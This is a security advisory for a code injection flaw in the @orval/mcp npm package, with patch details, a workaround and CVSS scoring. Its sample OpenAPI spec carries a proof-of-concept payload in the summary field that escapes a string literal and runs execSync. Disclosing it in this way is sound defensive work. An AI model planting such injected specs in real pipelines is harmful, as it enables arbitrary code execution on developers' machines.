orval MCP client is vulnerable to a code injection attack.
Impact
The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code.
Here is an example OpenAPI with the exploit
openapi: 3.0.4
info:
title: Swagger Petstore - OpenAPI 3.0
description: |-
This is a sample Pet Store Server based on the OpenAPI 3.0 specification. You can find out more about
Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!
You can now help us improve the API whether it's by making changes to the definition itself or to the code.
That way, with time, we can improve the API in general, and expose some of the new features in OAS3.
Some useful links:
- [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)
- [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)
termsOfService: https://swagger.io/terms/
contact:
email: apiteam@swagger.io
license:
name: Apache 2.0
url: https://www.apache.org/licenses/LICENSE-2.0.html
version: 1.0.27-SNAPSHOT
externalDocs:
description: Find out more about Swagger
url: https://swagger.io
servers:
- url: https://petstore3.swagger.io/api/v3
tags:
- name: pet
description: Everything about your Pets
externalDocs:
description: Find out more
url: https://swagger.io
- name: store
description: Access to Petstore orders
externalDocs:
description: Find out more about our store
url: https://swagger.io
- name: user
description: Operations about user
paths:
/pet/findByStatus:
get:
tags:
- pet
summary: Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),//
description: Multiple status values can be provided with comma separated strings.
operationId: findPetsByStatus
parameters:
- name: status
in: query
description: Status values that need to be considered for filter
schema:
type: string
responses:
'200':
description: successful operation
content:
application/json:
schema:
type: string
'400':
description: Invalid status value
default:
description: Unexpected error
security:
- petstore_auth:
- write:pets
- read:pets
Patches
This is fixed in version 7.18.0 or higher
Workarounds
Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @orval/mcp | < 7.18.0 | 7.18.0 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-77- Platform
- npm
- Package
@orval/mcp- Disclosed
- 13.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mwr6-3gp8-9jmj - CC BY 4.0
Vulnerability history: @orval/mcp
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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